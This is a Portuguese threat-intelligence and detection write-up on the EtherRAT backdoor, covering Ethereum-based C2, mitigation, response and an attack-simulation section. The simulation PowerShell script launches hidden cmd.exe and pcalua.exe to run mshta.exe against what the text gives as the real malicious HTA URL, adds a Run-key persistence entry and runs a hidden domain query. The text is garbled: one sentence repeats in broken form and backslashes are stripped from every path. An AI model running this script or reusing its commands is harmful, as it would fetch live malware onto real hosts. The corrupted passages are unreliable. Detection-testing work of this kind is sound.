EtherRAT & Módulo SYS_INFO: C2 na Ethereum (EtherHiding), Seleção de Alvo, Beacons Semelhantes a CDN

Resumo

EtherRAT é uma backdoor Node.js que resolve seus pontos de comando e controle a partir de contratos inteligentes Ethereum usando uma abordagem de “EtherHiding”. Ele se mistura ao tráfego web normal ajustando beacons para se assemelharem a solicitações benignas de CDN, enquanto visa dados de alto valor como carteiras de criptomoedas e credenciais de nuvem. O acesso inicial é comumente impulsionado por engenharia social estilo ClickFix ou iscas de suporte de TI falso que acionam a execução maliciosa de HTA através do pcalua.exe e mshta.exe.

Investigation

A eSentire Threat Response Unit observou uma cadeia de carregadores multiestágio que inclui um fluxo de trabalho de decodificação AES-256-CBC, persistência via um valor de registro HKCU Run e um módulo SYS_INFO responsável por um extenso perfil de hospedeiros. EtherRAT entra em contato com múltiplos provedores públicos de Ethereum RPC para localizar o contrato inteligente relevante e então deriva URLs semelhantes a CDNs e os consulta para tarefas e comandos subsequentes, reforçando seu disfarce de “tráfego legítimo”.

Mitigação

Use AppLocker ou WDAC para bloquear ou controlar estritamente pcalua.exe e mshta.exe, e restrinja o diálogo Run do Windows via Política de Grupo. Quando possível, limite ou bloqueie o acesso à infraestrutura pública de criptografia RPC conhecida e alerte sobre o uso inesperado de Ethereum RPC de endpoints que não requerem isso. Empregue controles de endpoint que possam detectar backdoors baseados em Node.js e monitore padrões de beaconing anormais que imitam o comportamento de busca de CDN nos domínios identificados.

Resposta

Se a atividade de EtherRAT for detectada, isole o endpoint, termine o processo em execução e remova a entrada de persistência HKCU Run junto com qualquer artefato caído. Realize uma varredura forense completa para confirmar que nenhuma carga útil adicional foi posicionada e gire as credenciais expostas—priorizando segredos de carteiras de criptomoedas e chaves de serviço em nuvem. Expanda a caça pelo ambiente para pesquisas semelhantes de Ethereum-RPC e comportamento de consulta semelhante a CDN para ler a possível disseminação.

Execução de Simulação

Pré-requisito: A Verificação Pré-voo de Telemetria & Baseline deve ter passado.

Racional: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.

• Narrativa de Ataque & Comandos:

  1. Acesso Inicial – ClickFix Dropper: O atacante utiliza um instalador ClickFix malicioso que executa um cmd.exe oculto que chama pcalua.exe.
  2. Execução Indireta: pcalua.exe é instruído a lançar mshta.exe contra um arquivo HTA remoto hospedado em https://www‑flow‑submission‑management.shepherdsestates.uk/shep.hta. Este script HTA carrega a carga útil do EtherRAT.
  3. Configuração de Persistência: O dropper adiciona um valor de registro em Run apontando para uma sequência de execução de apontando para uma sequência de execução de , garantindo que o malware inicie ao logon do usuário. , garantindo que o malware inicie ao logon do usuário. → , garantindo que o malware inicie ao logon do usuário. Reconhecimento de Domínio:
  4. Paralelamente, uma linha única de comando do PowerShell é executada para ler o nome de domínio da máquina, sinalizando ao atacante que o host está associado ao domínio. Todas as três linhas de comando são executadas a partir de uma única

  instância oculta, coincidindo com a cmd.exe regra Sigma indicador1/indicador2 or indicador3 combinação.

• Script de Teste de Regressão: O script abaixo reproduz as exatas linhas de comando (caminhos específicos do usuário são resolvidos via variáveis de ambiente).

  # -------------------------------------------------------------
  # Simulação de Acesso Inicial do EtherRAT – wrapper PowerShell
  # -------------------------------------------------------------
  $username = $env:USERNAME
  $htaUrl = "https://www-flow-submission-management.shepherdsestates.uk/shep.hta"
  $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
  $runValueName = '0c939bf7ae8f'
  $conhostPath = "$env:WINDIRSystem32conhost.exe"
  $nodePath = "C:Users$usernameAppDataLocalVZM5DHxgYbxqnode.exe"
  $payloadBin = "C:Users$usernameAppDataLocalVZM5DHTlHAiIlxoF.bin"
  
  # 1. Indicador 1 – pcalua -> mshta
  $cmd1 = "C:Windowssystem32cmd.exe /min /c `"pcalua.exe -a mshta.exe -c $htaUrl`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" -WindowStyle Hidden
  
  # 2. Indicador 2 – Chave de registro Run com cadeia conhost
  $regCommand = "reg add `"HKCUSoftwareMicrosoftWindowsCurrentVersionRun`" /v `"$runValueName`" /t REG_SZ /d `"$conhostPath --headless `"$nodePath`" `"$payloadBin`"`" /f"
  $cmd2 = "C:Windowssystem32cmd.exe /d /s /c `"$regCommand`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$regCommand`"" -WindowStyle Hidden
  
  # 3. Indicador 3 – Consulta de domínio via PowerShell
  $psCommand = "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `"(Get-WmiObject Win32_ComputerSystem).Domain`""
  $cmd3 = "C:Windowssystem32cmd.exe /d /s /c `"$psCommand`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$psCommand`"" -WindowStyle Hidden
  
  Write-Host "`n[+] Comandos de simulação emitidos. Verifique SIEM para alertas correspondentes."

• Comandos de Limpeza: Remova a entrada do registro e exclua quaisquer arquivos criados pela simulação.

  # -------------------------------------------------------------
  # Limpeza – remove chave de execução e arquivos temporários
  # -------------------------------------------------------------
  $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
  $runValueName = '0c939bf7ae8f'
  
  # Excluir o valor da chave de execução
  if (Test-Path $runKeyPath) {
      Remove-ItemProperty -Path $runKeyPath -Name $runValueName -ErrorAction SilentlyContinue
      Write-Host "[+] Valor de execução do registro $runValueName removido"
  }
  
  # Remover quaisquer arquivos residuais (se foram criados)
  $paths = @(
      "$env:TEMPbenign.txt"               # do baseline (opcional)
  )
  foreach ($p in $paths) {
      if (Test-Path $p) { Remove-Item $p -Force }
  }
  
  Write-Host "[+] Limpeza completa."